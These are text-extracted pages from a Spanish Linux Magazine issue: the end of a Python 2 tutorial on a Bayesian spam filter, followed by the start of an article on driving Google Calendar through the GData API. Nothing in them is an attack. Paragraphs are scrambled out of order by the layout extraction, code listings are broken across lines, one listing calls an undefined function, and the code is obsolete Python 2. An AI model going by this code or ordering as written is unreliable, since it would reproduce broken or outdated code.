spam es igu48al al número de veces que

aparece esa palabra en nuestro spam, divi-

dido por el número de veces que aparece en

nuestros correos, sean spam o no.

Digamos que tenemos 100 correos, de los

que 35 son spam y el resto, 65, no lo son. La

palabra nigeria aparece 8 veces, 6 en correos

spam y 2 en correos normales. La probabili-

dad es un número entre 0 y 1. En este caso,

un 0.847, representa un 84% de probabili-

dad. Por tanto un correo con la palabra nige-

ria es muy probablemente spam.

Los filtros bayesianosLos filtros bayesianos han conseguido gran

popularidad. En la Tabla [1] se pueden ver

algunos ejemplos de uso real de esta téc-

nica.

En nuestra implementación del filtro

bayesiano vamos a necesitar alguna estruc-

tura de datos para guardar las apariciones de

cada palabra tanto en el correo normal como

en el spam.

Emplearemos diccionarios. Usaremos dos

directorios. En uno, al que llamaremos

«spam» , guardaremos ficheros de texto con

el cuerpo de correos spam. En el otro direc-

torio, llamémosle «ok», guardaremos los

ficheros con el cuerpo de correos normales.

Nuestro primer paso consistirá en extraer

las palabras que aparecen en los correos de

ambos tipos y contar el número de aparicio-

nes de esas palabras. Entonces las guardare-

mos en dos diccionarios. Así si ok[‘’nige-

ria’’]es igual a 2, significará que la palabra

«nigeria» aparece dos veces en nuestros

correos normales, y si spam[``nigeria’’]es 5,

nos vendrá a decir que nigeria aparece 5

veces en nuestros correos spam.

Este proceso es rutinario:

• abro fichero

• genero una lista de sus palabras

• guardo o actualizo su entrada en el diccio-

nario correspondiente

En palabras llanas, estamos creando un

inventario de palabras.

Para simplificar el código sólo rompere-

mos el texto de forma simple, aprovechando

la función split() que Python incorpora en

sus cadenas. Esta función divide la cadena

usando separadores estándar como pueden

ser el punto o el espacio en blanco.

Con nuestros dos diccionarios cargados

de palabras, pasamos a la segunda fase: la

creación de un diccionario conjunto donde

guardemos la probabilidad de cada palabra

de ser parte de un correo spam.

Este tercer diccionario debe contener las

palabras del diccionario oky del diccionario

spam. Para ello debemos crear un dicciona-

rio que incorpore las entradas de ambos,

pero una sola vez para cada uno, ¿cómo

podemos mezclar las llaves de ambos dic-

cionarios?

La forma más sencilla es la que aparece

en el Listado [1]. Importamos la librería sets

que nos permite crear y manejar conjuntos.

Creamos dos conjuntos usando las llaves de

los diccionarios y los unimos con el opera-

dor |, la unión de conjuntos, que devuelve

un conjunto con las entradas de los conjun-

tos unidos, pero sin repeticiones. Los con-

juntos pueden tener entradas repetidas, pero

cuando recorremos el conjunto con for no

aparecen, porque los conjuntos sólo pueden

devolver un elemento de cada tipo aunque

estén repetidos. De esta forma tan sencilla

podemos obtener una lista con las llaves de

ambos diccionarios.

El siguiente paso es extraer las llaves de

esa lista de llaves compartidas, guardando

las entradas en una lista, y calcular la proba-

bilidad de ser spam para cada una de ellas

con una fórmula que pasamos a explicar.

Falsos positivosUno de los problemas que encontramos

cuando clasificamos algo es la aparición de

falsos positivos.

Esta expresión a veces suele escucharse

en ámbitos médicos. Indica que se ha detec-

tado algo, pero que en realidad no hay nada

debido a que la prueba ha fallado.

Por ejemplo, estamos enfrente de la

parada del autobús, y vemos que tendremos

dificultades para tomarlo, ya que un semá-

foro nos interrumpe el paso, por lo que lo

damos por perdido.

Pero conforme el semáforo se pone en

verde el autobús sigue ahí, y como le dimos

por perdido atravesamos el paso de cebra a

paso normal. Sólo cuando estamos a mitad

de él y aún vemos el autobús nos damos

cuenta de nuestro fallo de razonamiento: si

hubiésemos salido corriendo por el paso de

cebra al ponerse el semáforo en verde podrí-

amos haber tomado ese autobús. Después

de este falso positivo se nos suele quedar

cara de tontos, mientras el autobús se va sin

nosotros a sólo unos pasos de distancia.

Lo mismo ocurre con los filtros antispam.

Si confiamos completamente en ellos, un día

puede ocurrir que aparezca un falso posi-

tivo, que sea clasificado como spam y que

nunca lleguemos a enterarnos de la llegada

de un correo importante.

Tenemos que minimizar la aparición de

falsos positivos tanto como sea. Para ello

tendremos que asumir que es preferible que

Python • DESARROLLO

49Número 22W W W . L I N U X - M A G A Z I N E . E S

01 >>> def es_spam(probs):

02 ... prod=reduce(lambda x, y: x

* y, probs)

03 ... return prod / (prod +

reduce(lambda x,y: x*y,

map(lambda x: 1 - x, probs)))

04 ...

05 >>>

p=[0.13,0.22,0.31,0.9,0.9,0.9,

0.7,0.3,0.11,0.8,0.1,0.1,0.7,0

.3,0.3]

06 >>> f(p)

07 0.034848854359010119

Listado 2: funciónes_spam()

¿Y qué hacemos si se da este caso? Pues

como convenio devolveremos una probabili-

dad de 0.0, y por eso guardamos ese valor

en el variable resultado.

ImplementaciónVista la teoría vayamos a la práctica. Nues-

tro programa, ver Listado 3, se compone de

dos clases. La primera, correos, sirve como

una ayuda para la segunda filtro_bayesiano.

En esta segunda clase es donde está lo más

importante.

El método __init__ de filtro_bayesiano

muestra los pasos necesarios para inicializar

el filtro que antes comentamos:

• cargamos las palabras de los correos en

diccionarios

• generamos el diccionario con las probabi-

lidades

Para ello nos ayudamos del método ana-

liza_correos. Usando la librería glob, que nos

permite conseguir listados de ficheros, crea-

mos una lista con los ficheros en el directo-

rio de correo normal o spam, según el caso.

Recorremos esa lista de ficheros, abriéndolos

y pasando el texto que contienen a

carga_correo. Como último paso, aumenta-

mos en 1 el número de correos leídos de

cada tipo, que nos permitirá posteriormente

realizar el cálculo de probabilidades.

carga_correo rompe el texto en palabras, y

si la palabra no estaba en el diccionario

correspondiente, que pasamos como pará-

metro, crea la entrada inicializándola a 1. En

caso de que la palabra se hallase en el dic-

cionario, aumentamos su cantidad en 1.

Con lo realizado hasta el momento tendrí-

amos listos los dos diccionarios, uno para

correo normal y otro para spam. Ahora toca

aplicar la fórmula.

Diccionario deprobabilidadesEl método construye_diccionario es el

encargado de extraer las llaves, las pala-

bras, de los dos diccionarios y almacenar

en un tercero la probabilidad de cada pala-

bra mediante el método

calcula_prob_spam.

El código de calcula_prob_spam tiene en

cuenta la posible aparición de una división

por cero, por lo que comprueba que el divi-

sor, el número que divide, no sea cero con

una simple suma ((g+b)>0). Devuelve un

resultado numérico entre 0,0 y 1,0 , que será

la probabilidad de que esa palabra pertene-

cezca a un correo con spam.

Ya está listo nuestro filtro para decidir si

un texto es spam o no.

¿Es esto spam?Para tomar la decisión, troceamos el texto

que se nos pasa como argumento, con lo

que obtenemos una lista de palabras, y reali-

zamos las siguientes acciones:

• Mapeamos sobre la lista el método

prob_spam_palabra (ver Listado 3), lo

que nos devuelve una lista de probabilida-

des.

• Multiplicamos esas probabilidades unas

con otras hasta tener un solo número.

• Dividimos ese valor, que llamamos prod,

por ese mismo valor más el resultado de

multiplicar las probabilidades de que esas

palabras no sean spam (este valor lo con-

seguimos restando esas probabilidades a

1)

El resultado es un valor numérico entre 0.0 y

1.0. Cuanto mayor sea, más probable es que

estemos analizando un correo spam. Como

regla general, consideraremos spam cual-

quier valor por encima de 0.9, de forma que

los falsos positivos sean mínimos.

ConclusiónCuando se lee acerca de técnicas matemáti-

cas empleadas para resolver grandes proble-

mas, normalmente pensamos que no sere-

mos capaces de comprenderlas. Nada más

lejos de la realidad.

La matemática es una herramienta muy

poderosa y aparece constantemente en

nuestras vidas. Incluso con unos conoci-

mientos básicos de pensamiento matemá-

tico, y no tanto de cálculo numérico como

nos suelen enseñar, podemos dar soluciones

simples y elegantes a problemas realmente

complicados. �

se cuele un poco de spam en nuestra ban-

deja de entrada a perder un correo impor-

tante. Es por esto que vamos a trabajar con

una fórmula algo diferente a la de Bayes,

emplearemos pesos. Un peso es un número

que multiplica una cantidad para hacerla

más grande, y por tanto, para hacer que

«pese» más dentro de la fórmula.

La fórmulaLa fórmula, que podemos ver en el Listado

2, hace uso de las funciones max()y min(),

que devuelven el máximo y el mínimo de

sus argumentos. El objetivo de su uso es no

permitir la aparición de valores ni dema-

siado pequeños ni demasiado grandes. Cual-

quier valor mayor que 0.99 pasará a ser

0.99, y cualquier valor menor que 0.1 se

convertirá en 0.1. Esta técnica nos permite

establecer un umbral con el que podremos

controlar el acierto de nuestro filtro.

Otro paso para mejorar la fórmula es no

emplear la suma de correos correctos y

spam. En su lugar usaremos sólo la cantidad

de correos correctos o spam para calcular las

probabilidades correspondientes. El objetivo

de esto es ver lo importante que es una pala-

bra dentro de uno de los grupos de correos,

oky spam, y no en base al total.

Es momento de ver la fórmula en acción,

ver Listado [*]. La función acepta un solo

parámetro, la palabra de la que queremos

calcular la probabilidad. Los valores gy b (de

good y bad) guardan la cantidad de aparicio-

nes de la palabra en el correo normal y el

spam respectivamente. Como queremos

tener tan pocos falsos positivos como sea

posible, multiplicamos por 2 la cantidad de

apariciones de las palabras en el correo nor-

mal. De esta forma damos más peso a las

palabras que aparecen en el correo normal.

Tenemos cuidado de comprobar primero

si la palabra se encuentra en ese diccionario.

El problema surge cuando la palabra no se

encuentra en ninguno de los dos dicciona-

rios, porque en tal caso, en la fórmula apa-

rece una división por 0. Un número dividido

por 0 generará un error, debido a que la divi-

sión por 0 no está definida en matemáticas.

DESARROLLO • Python

50 Número 22 W W W . L I N U X - M A G A Z I N E . E S

[1] Solución de Paul Graham al problema

del Spam: http://www.paulgraham.

com/spam.html

[2] Monty Python definen el Spam en su

serie de televisión “Monty Python’s

Flying Circus”: http://www.youtube.

com/watch?v=d7uFntk0Bnk

RECURSOS

Nombre Lenguaje URL

Spambayes Python http://spambayes.sf.net

POPFile Perl http://popfile.sf.net

SpamTUNNEL Java http://uiorean.cluj.astral.ro

PASP Python http://sf.net/projects/pasp

Thunderbird C++ http://www.mozilla.org/mailnews/spam.html

SpamProb Python http://spamprobe.sourceforge.net

Tabla 1: Filtros anti-spam con filtro bayesiano

Python • DESARROLLO

51Número 22W W W . L I N U X - M A G A Z I N E . E S

001 #!/usr/local/bin/python

002 # # -*- coding: utf-8 -*-

003

004 import glob, os, sys, sets

005

006 class correos:

007 # Esta clase es para ahorrar

código

008 def

__init__(this,nombre,ruta):

009 this.ruta=ruta

010 this.nombre = nombre

011 this.num = 0.0

012 this.palabras = {}

013

014 def __str__(this):

015 return “[Correos

“+this.nombre+”] cantidad:

“+str(this.num)

016

017 class filtro_bayesiano:

018

019 def __init__(this):

020 this.ok =

correos(‘ok’,’./ok/’)

021 this.spam =

correos(‘spam’,’./spam/’)

022 this.probs_spam = {}

023 this.carga()

024 this.construye_diccionario()

025

026 def carga(this):

027

this.analiza_correos(this.ok)

028

this.analiza_correos(this.spam

)

029

030 def

analiza_correos(this,correos):

031 # Recibe una clase correos y

usa sus datos

032 # para cargar en ella las

palabras

033

034 lista =

glob.glob(correos.ruta+”/*.txt

”)

035 for f in lista:

036 fichero = open(f)

037

this.carga_correo(correos,fich

ero.read())

038 correos.num += 1.0

039

040 # sacamos las llaves de ambos

diccionarios, y las mezclamos

en un

041 # conjunto del que vamos

extrayendo.

042

043 def

calcula_prob_spam(this,palabra

):

044 # La formula de Paul Graham

045

046 g = 0.0

047 b = 0.0

048

049 if

this.ok.palabras.has_key(palab

ra):

050 g = 2.0 *

this.ok.palabras[palabra]

051

052 if

this.spam.palabras.has_key(pal

abra):

053 b =

this.spam.palabras[palabra]

054

055 # En caso de que no haya

palabras de un tipo....

056 resultado = 0.0

057

058 if (g + b) > 0:

059 resultado = max( 0.1,

060 min(0.99,

061 min(1.0, b /

this.spam.num)

062 /

063 (min(1.0, g/this.ok.num) +

min(1.0, b/this.spam.num))))

064

065 return resultado

066

067 def

construye_diccionario(this):

068 # Creamos un cojunto con las

llaves

069 llaves =

sets.Set(this.ok.palabras.keys

()) |

sets.Set(this.spam.palabras.ke

ys())

070

071 for llave in llaves:

072 this.probs_spam[llave] =

this.calcula_prob_spam(llave)

073

074 def

carga_correo(this,correos,corr

eo):

075 # Carga las palabras de un

correo en

076 # el diccionario

correspondiente

077

078 for palabra in

correo.split():

079 if

correos.palabras.has_key(palab

ra):

080 correos.palabras[palabra]

+= 1

081 else:

082 correos.palabras[palabra]

= 1

083

084 def

prob_spam_palabra(this,palabra

):

085 if

this.probs_spam.has_key(palabr

a):

086 return

this.probs_spam[palabra]

087 else:

088 return 0.01

089

090 def es_spam(this, texto):

091 lista = texto.split()

092 probs = map(lambda x:

this.prob_spam_palabra(x),

lista)

093

094 prod = reduce(lambda x,y:

x*y, probs)

095

096 resultado = prod / (prod +

reduce(lambda x,y: x*y,

map(lambda x: 1 - x, probs)))

097

098 return resultado

099

100 # Ejemplo de uso

101 f = filtro_bayesiano()

102 cadenas = [“The VigraMax is

the best solution”,

103 “hola Paul, ya tengo el

artículo de Linux Magazine”]

104 for i in cadenas:

105 print f.es_spam(i)

Listado 3: Nuestro filtro

DÍA D, HORA H

tar, crear, actualizar y eliminar diversos ele-

mentos de datos con los comandos simples de

HTTP: GET, POST, PUT, DELETE. Esta

manera de trabajar con servicios web no es

nueva, ya que sigue los principios básicos de

la arquitectura REST (ver Tabla GData y

REST). Además este sistema está siendo apli-

cado con éxito en la creación de otros servi-

cios web de empresas tales como Amazon,

eBay, Yahoo! y más recientemente en Flickr y

Youtube. Una ventaja frente a la aproximación

SOAP, además de su simplicidad e inmedia-

tez, es su baja latencia. Al disminuir la com-

plejidad del sistema y eliminar datos redun-

dantes logramos disminuir el tiempo entre la

petición del servicio y la respuesta generada.

Google utiliza este mismo API para acceder a

múltiples servicios[4], entre los que se cuen-

tan Blogger, Google Calendar y Google Base-

Data.

En este artículo nos centraremos en Google

Calendar[5]. Aunque es posible acceder a

toda la funcionalidad desde cualquier len-

guaje de programación de manera directa, los

desarrolladores de Google proporcionan libre-

rías en Java, .NET, y dentro del proyecto Zend

Framework encontramos una versión de la

librería en PHP. No hay ninguna versión para

Python, así que vamos a plantear a lo largo de

este artículo las bases para un futuro proyecto

que denominaremos PyGData[6].

EnigmaSi tenemos una cuenta en Google Mail, ya

podemos acceder al calendario desde el

pequeño menú de la esquina superior

izquierda del interfaz Gmail. También pode-

mos entrar directamente visitando la web del

proyecto[7]. Dar de alta un evento, asignar

una visibilidad (evento público o evento pri-

vado), añadir un comentario o asignar una

periodicidad y una alarma de avisos al evento

son cosas sencillas de hacer desde el mismo

interfaz web de la herramienta. Otras cosas

que podemos hacer es la de realizar búsque-

das de texto libre por todos los eventos del

calendario y recolocarlo en otro día o cambiar

la duración del evento mediante el uso del

ratón, como buena aplicación AJAX que es.

Pero lo interesante no es sólo tener este

interfaz de acceso, sino poder comprobar que

podemos acceder a toda esta funcionalidad

desde la línea de comandos. Para ello necesita-

mos previamente encontrar una URL que

identifique de manera única a nuestro calen-

dario. Si pulsamos sobre la flechita asociada al

calendario en la lista de calendarios situada en

la columna de la izquierda, veremos un des-

plegable que nos permite realizar acciones de

configuración, creación de eventos y cambio

de colores de los eventos. Deberemos seleccio-

nar la entrada que pone “Configuración del

calendario”. En el formulario que aparece

ahora pulsamos sobre el botón naranja etique-

tado ‘XML’ de la sección ‘Dirección privada’ al

final del mismo. Ahora aparecerá una URL

que debemos copiar. Esta URL tiene el

siguiente formato:

http://www.google.com/calendar/U

feeds/<I>email<I>/private-U

<I>magicCookie<I>/basic

En el campo email aparece nuestra cuenta

Gmail y en magicCookie una cadena alfanu-

mérica secreta que podemos regenerar (en el

caso de que quede descubierta por descuido)

desde el enlace ‘Restablecer URL privada’

situado cerca del botón anterior. Con esta URL

podremos acceder, en modo de solo lectura, a

la lista de eventos del calendario con un sim-

ple wget URL. Si lo hacemos obtendremos

algo parecido a lo mostrado en el Listado 1. Es

un documento XML en formato Atom[8] que

contiene una entrada (tag entry) por cada

evento del repositorio. Además se indica el

identificador del calendario (primer campo id

no asociado a ninguna entrada), el dueño del

mismo (¿adivinan qué tag tiene esa informa-

ción?) y, para cada entrada de calendario, el

El API de Google para la integración de

resultados de búsquedas que hemos

tenido la oportunidad de conocer hace

uso del protocolo SOAP para el acceso a servi-

cios web[1]. SOAP es un protocolo complejo

que requiere de la instalación y uso de libre-

rías de terceros para lograr simplificar la crea-

ción de stubs, o funciones proxy o intermedia-

rias, a partir del lenguaje de descripción de

servicios web (WSDL). Con estas funciones,

creadas de manera automática, lograremos

realizar llamadas de acceso a objetos localiza-

dos en servidores remotos. También se encar-

gan de codificar los mensajes, realizar la cone-

xión por HTTP (o cualquier otro protocolo de

transporte) con el servidor y controlar los erro-

res de transmisión. Además los mensajes

SOAP, en formato XML, son algo redundantes

y recargados. Si programamos en lenguaje

Python podemos hacer uso del interesante

PyGoogle[2] de Mark Pilgrim, autor también

del excelente libro Dive Into Python[3]. Esta

librería simplifica el acceso al API SOAP de

Google, proporcionando interfaces para la rea-

lización de búsquedas, obtención de la ver-

sión cacheada de un resultado e, incluso, la

consulta a las sugerencias de escritura de

parámetros de búsqueda. Esta librería necesita

de otra para la generación de mensajes SOAP

(SOAPpy). Como vemos, no es directo acce-

der a la funcionalidad de Google proporcio-

nada desde el API de basado en SOAP. Necesi-

tamos poner dos capas de funciones, objetos y

métodos entre nuestra aplicación y los servi-

cios ofrecidos por Google.

Para simplificar este escenario, Google ha

desarrollado el API de acceso a datos de Goo-

gle. GData hace uso del protocolo HTTP para

la transmisión de datos de sindicación en for-

mato XML. Con este protocolo podemos

enviar y recibir documentos en formato Atom

1.0 y RSS 2.0. Además extiende el protocolo

de publicación Atom (APP) para la realización

de consultas parametrizadas. A diferencia del

protocolo basado en SOAP, podremos consul-

DESARROLLO • GData

52 Número 22 W W W . L I N U X - M A G A Z I N E . E S

Con el protocolo GData (el API de datos de Google) tendremos un acceso completo a los datos de las

aplicaciones diseñadas por Google, incluido Google Calendar, de una manera unificada y sencilla.

POR ALBERTO PLANAS

Dirigiendo Google Calendar

título y descripción del evento. Por último, si

cambiamos en la URL de acceso anterior la

palabra basic por full y volvemos a realizar

una petición con wget obtendremos una ver-

sión extendida del mismo documento de lis-

tado de eventos.. En ella aparecerán nuevos

campos que hasta ahora han quedado ocul-

tos, como por ejemplo la referencia (otra URL)

a los comentarios asociados a cada uno de los

eventos.

Esta consulta se puede parametrizar.

Así, si queremos obtener una lista de

eventos para un rango de tiempo dado

podemos añadir dos parámetros a la

URL: start-min y start-max. Por ejemplo,

para saber los eventos que me esperan

durante la semana del 06/11/2006, tengo

que preparar una consulta del siguiente

tipo:

http://www.google.com/U

calendar/feeds/<I>email<I>/U

private-<I>magicCookie<I>/U

basic?start-min=2006-11-U

06T00:00:00&start-max=U

2006-11-10T23:59:59

Las fechas y horas siguen el formato ISO. El

resultado de la consulta mantendrá la misma

estructura que la anterior. En ambas consultas

el resultado viene ordenado por la fecha de

actualización, de modo que si queremos orde-

nar por la fecha de suceso del evento (algo

natural en la realización de un informe) debe-

remos añadir otro parámetro más al final de la

URL: orderby=starttime. Siendo Google una

empresa que ha creado un buscador (vale, ‘el

buscador’) no puede faltar la funcionalidad de

búsqueda de eventos por palabras. Los pará-

metros de la consulta los indicamos con el

parámetro q=palabra1+palabra2. De esta

manera se realizarán búsquedas con esas dos

palabras por todo el texto del evento y descar-

gará un listado con aquéllos que contengan

ambas coincidencias. Si usamos las dobles

comillas (“) indicaremos una búsqueda

exacta, y si ponemos por delante de la palabra

un guión (-) excluiremos los eventos que con-

tengan la palabra prefijada. Podemos estable-

cer un limitador de coincidencias descargadas

con el parámetro max-results, que por defecto

vale 25. Para poder ir paginando las consultas

deberemos hacer uso de start-index.

Como hemos podido ver, el procedimiento

para acceder a Google Calendar es sencillo.

Con el protocolo GData es suficiente con

enviar el comando GET de HTTP a una URL

que representa un repositorio o fuente de

datos. Así obtendremos un documento Atom

que representa a este repositorio de datos o a

un recurso determinado (p.ej, un evento), y

eso es todo (o casi) , ya que es en esta senci-

llez donde radica el principal atractivo de la

arquitectura REST. Pero es verdad que no

podemos hacer muchas más cosas con nues-

tro calendario si antes no nos autentificamos.

La URL que hemos localizado al principio del

artículo no es suficiente para poder crear nue-

vos eventos, modificar o eliminar los ya exis-

tentes. Deberemos realizar dos pasos para

autentificarnos. El primer paso es transformar

la URL de acceso: deberemos eliminar el resu-

GData • DESARROLLO

53Número 22W W W . L I N U X - M A G A Z I N E . E S

01 <?xml version=’1.0’

encoding=’utf-8’?>

02 <feed xmlns=

’http://www.w3.org/2005/Atom’

03 xmlns:openSearch=

’http://a9.com/-/spec/opensearch

rss/1.0/’

04 xmlns:gd=

’http://schemas.google.com/g/200

5’

05 xmlns:gCal=

’http://schemas.google.com/gCal/

2005’>

06 <id>

07 http://www.google.com/

calendar/feeds/[email protected]

/private-<I>magicCookie<I>/basic

</id>

08 <updated>2006-11-07T12:05:

21.000Z</updated>

09 <title type=’text’>Alberto

Planas</title>

10 <subtitle type=’text’> Alberto

Planas</subtitle>

11 <link rel=’http://schemas.

google.com/g/2005#feed’

12 type=’application/atom+xml’

13 href=’http://www.google.com/

calendar/feeds/[email protected]

/private-<I>magicCookie<I>/basic

’>

14 </link>

15 <link rel=’self’

type=’application/atom+xml’

16 href=’http://www.google.com/

calendar/feeds/[email protected]

/private-<I>magicCookie<I>/basic

?max-results=25’>

17 </link>

18 <author>

19 <name>Alberto Planas</name>

20

<email>[email protected]</email>

21 </author>

22 <generator version=’1.0’

uri=’http://www.google.com/calen

dar’>

23 Google Calendar</generator>

24 <openSearch:startIndex>1

</openSearch:startIndex>

25 <openSearch:itemsPerPage>25

</openSearch:itemsPerPage>

26 <gCal:timezone value=’Europe

/Madrid’></gCal:timezone>

27 <entry>

28 <id>

29 http://www.google.com/

calendar/feeds/[email protected]

/private-<I>magicCookie<I>/basic

/<I>entryID<I></id>

30 <published>2006-11-07T06:

13:31.000Z</published>

31 <updated>2006-11-07T06:

13:37.000Z</updated>

32 <category scheme=’http://sch

emas.google.com/g/2005#kind’

33 term=’http://schemas.google.

com/g/2005#event’></category>

34 <title type=’text’>Reunión con

empresa Exp.#299</title>

35 <summary type=’html’>Cuándo:

del mar 7 de nov de 2006 11:00

36 al 14:30& CET <br><br>Dónde:

Antequera</summary>

37 <content type=’text’>Cuándo:

del mar 7 de nov de 2006 11:00

38 al 14:30& CET <br><br>Dónde:

Antequera <br>Descripción del

39 evento: Reunión con la empresa

con Exp. #299 para el proyecto

40 N.P.</content>

41 <link rel=’alternate’

type=’text/html’

42 href=’http://www.google.com/

calendar/event?eid=<I>eventID<I>

43 title=’alternate’></link>

44 <link rel=’self’

type=’application/atom+xml’

45 href=’http://www.google.com/

calendar/feeds/[email protected]

/private-<I>magicCookie<I>/basic

/<I>entryID<I>’>

46 </link>

47 <author>

48 <name>Alberto Planas</name>

49 <email>[email protected]

</email>

50 </author>

51 <gCal:sendEventNotifications

value=’false’>

52 </gCal:sendEventNotifications>

53 </entry>

54 </feed>

Listado 1: Extracto XML

ficación), un código HTTP 200 OK. En este

caso, además del código 200, devolverá varias

líneas de texto. Cada línea es del tipo ‘clave’ =

‘valor’. Necesitamos obtener el valor asociado

a la clave Auth puesto que es una cadena de

texto que deberemos entregar como testigo de

una correcta identificación en aquellas opera-

ciones que cambien el estado del calendario, y

que requieran de una autorización. En el Lis-

tado 2 podemos encontrar un procedimiento

para extraer esta variable dentro del método

client_login() de la clase GData.

¡Fuego!Una vez autentificados Google Calendar nos

dejará crear eventos de calendario mediante

un POST a la URL transformada, o si sólo

tenemos un calendario también podemos

hacer uso de la siguiente URL:

http://www.google.com/U

calendar/feeds/default/U

private/full

Deberemos completar este POST añadiendo

una cabecera HTTP de autorización, formada

de la siguiente manera:

Authorization: GoogleLoginU

auth=<I>Auth<I>

Es ahí donde debemos colocar el token que se

nos entregó durante el proceso de autentifica-

ción anterior. Tenemos que completar la cabe-

cera estableciendo un Conten-Type de tipo

application/atom+xml, puesto que lo que

vamos a transmitir es un documento XML

Atom. Tras la realización del POST, Google

Calendar deberá retornar un código HTTP 302

de redirección. Esto es así porque aprovecha

para cambiar la URL que establecimos en el

POST, añadiendo un parámetro adicional. Se

trata del identificador de sesión gsessionid. Así

pues deberemos relanzar otra vez el POST,

con las mismas cabeceras HTTP, el mismo

documento XML Atom, pero ahora a la nueva

URL completada durante el proceso de redi-

rección. Si finalmente el proceso de creación

de eventos termina adecuadamente, recibire-

mos un código HTTP 201 para indicar su crea-

ción y una versión del documento que envia-

mos al que se le han añadido algunos tags

nuevos.

Hay varios tipos de documentos XML Atom

que podemos enviar por medio de GData [10].

El principal tipo que debemos usar para

ponernos en contacto con Google Calendar es

el tipo evento. Un ejemplo de un evento lo

podemos ven en el Listado 3. Cada docu-

mento Atom XML tiene una raíz de tipo entry,

en él se declaran los distintos espacios de

nombre (xmlns), tanto de Atom como de

GData, de esta manera podemos utilizar nue-

vos tags extendidos que no pertenecen a la

especificación Atom. Estos nuevos tags exclu-

sivos de GData son los del tipo <gd >. Para

indicar que estamos ante una entrada de tipo

evento hacemos uso del tag category indi-

cando en el atributo term la URL http://

schemas.google.com/g/2005#event. El resto de

los tags son más o menos autodescriptivos:

con title establecemos el texto publicado en el

evento que aparece en la vista de calendario,

en el content hacemos una descripción más

detallada del evento. El tag author contiene el

nombre y email del creador del evento (que

puede ser diferente al dueño del calendario).

Si el tag <gd:transparency> tiene el valor

http://schemas.google.com/g/2005#event.

opaque estaremos indicando que el evento va

a consumir tiempo en el calendario, va a ser

un tiempo marcado como ‘ocupado’. Con

<gd:eventStatus> podemos indicar si el

evento ha sido confirmado o no, o si ha sido

cancelado. Los valores de visibilidad (evento

privado / evento público) se establecen por

medio del tag <gd:visibility>. Podemos indi-

car el lugar donde se va a producir el evento,

dónde se espera poder encontrar aparca-

miento (curioso, ¿no?) y una localización

alternativa para la realización del evento. Para

ello usamos el tag <gd:where> poniendo lo

que queremos describir en el parámetro value

y un texto libre en el campo valueString. Para

indicar varios tipos de localizaciones las pon-

dremos una detrás de la otra. Y, naturalmente,

podemos establecer una fecha y duración del

evento usando <gd:when>. Hay más tags

que describen otros componentes que consti-

tuyen un evento, como la repetición del

evento, un enlace a comentarios asociados o

el conjunto de personas relacionadas con el

mismo.

Este mismo procedimiento de autentifica-

ción puede ser usado para listar los calenda-

rios disponibles por el usuario (podemos crear

y eliminar calendarios desde la interfaz web).

Tenemos que enviar el comando HTTP GET a

la URL siguiente (sustituyendo el campo email

por la cuenta Gmail del usuario):

https://www.google.com/U

calendar/feeds/<I>email<I>

Naturalmente hay que poner la misma cabecera

de autentificación para lograr pasar el parámetro

Auth. Un ejemplo de todo el proceso lo tenemos

en el método list_calendarsdel Listado 2.

men magicCookie de la URL hasta dejarlo

como sigue:

<U>http://www.google.com/U

calendar/feeds/<I>email<I>/U

private/full<U>

También vale si en la URL anterior usamos la

versión basic en vez de la full. El segundo

paso es algo más complejo: tenemos que

autentificar la sesión frente a Google. Hay dos

procedimientos para hacer esto dependiendo

de si la aplicación que se va a autentificar es

de escritorio o un desarrollo Web. En la pri-

mera opción, la aplicación debe consultar

directamente del usuario la cuenta Gmail y la

contraseña de la cuenta. Este es un método

que puede ser seguro para aplicaciones de

escritorio, pero nefasto si la aplicación es vía

web (¿quién piensa poner su contraseña de

correo en un formulario web de otra aplica-

ción diferente a Gmail?) . La segunda opción

de autentificación está especialmente dise-

ñada para aplicaciones web. En ella no intro-

ducimos la contraseña en ningún formulario

de la aplicacion web, sino que esta aplicación

nos redirige a un formulario de Google donde

nosotros procedemos a identificarnos. Si la

identificación es correcta seremos redirigidos a

una URL de la aplicación web solicitante.

Vamos a usar la primera técnica, denominada

ClientLogin API[9]. Para ello tendremos que

enviar el comando HTTP POST con una serie

de parámetros de formulario (que correspon-

den con el Content-Type de tipo application/x-

www-form-urlencoded a la siguiente URL:

https://www.google.com/U

accounts/<I>ClientLogin<I>

Los parámetros que debemos pasar por POST

son:

•Email: cuenta Gmail del usuario.

•Passwd: contraseña de la cuenta.

•source: identificador de la aplicación.

•service: texto ‘cl’ para identificar el servicio de

calendario.

El campo source debe seguir el siguiente

patrón: nombreDeLaCompañía-nombreDe-

LaAplicación-versión. Si hay algún error en el

procedimiento de autentificación el sistema

devolverá el código HTTP 403 para indicar

que el acceso queda denegado. El usar códi-

gos de error para devolver el resultado de una

operación es algo que veremos con frecuencia

en el protocolo GData. Se hace un uso inten-

sivo de códigos que representan una redirec-

ción, una prohibición, o cuando todo sale

correctamente (incluido el proceso de autenti-

DESARROLLO • GData

54 Número 22 W W W . L I N U X - M A G A Z I N E . E S

Nueva OrdenLos eventos conseguidos tras una consulta

contienen más campos de los que pusimos en

nuestro documento XML Atom. El campo id

contiene una URL que referencia de manera

única al evento. Además, hay varios campos

de tipo link, cada uno con un parámetro rel

diferente. Si el valor de rel es self veremos que

la URL asociada al parámetro href del tag de

enlace coincide exactamente con el identifica-

dor del evento. Podemos usar esta dirección

para obtener una copia del objeto por medio

del, ya explicado, comando HTTP GET. El

enlace que tiene un valor para rel=’alternate’

GData • DESARROLLO

55Número 22W W W . L I N U X - M A G A Z I N E . E S

001 #! /usr/bin/env python

002 # -*- coding: UTF-8 -*-

003

004 import urllib

005 import urllib2

006

007 class LoginError(Exception):

008 pass

009

010 class

GDataRedirectHandler(urllib2.HTTP

RedirectHandler):

011 “””

012 Recuperamos los datos enviados

antes de la redirección y los

volvemos

013 a enviar incluyendo esta vez el

parámetro gsessionid. El código,

por

014 tanto, es idéntico al de la

clase HTTRedirectHandler, excepto

que

015 esta vez sí retomo los datos del

POST.

016 “””

017 def redirect_request(self, req,

fp, code, msg, headers, newurl):

018 print req.get_data()

019 m = req.get_method()

020 if (code in (301, 302, 303,

307) and m in (“GET”, “HEAD”)

021 or code in (301, 302, 303) and

m == “POST”):

022 return urllib2.Request(newurl,

023 headers=req.headers,

024

origin_req_host=req.get_origin_re

q_host(),

025 unverifiable=True,

026 data=req.get_data())

027 else:

028 raise

HTTPError(req.get_full_url(),

code, msg, headers, fp)

029

030

031 class GData(object):

032 login_url =

‘https://www.google.com/accounts/

ClientLogin’

033 calendar_url =

‘https://www.google.com/calendar/

feeds/’

034 feed_url = calendar_url +

‘default/private/full’

035

036 def __init__(self, email,

passwd, source=’apd-pygdata-0’):

037 self.email = email

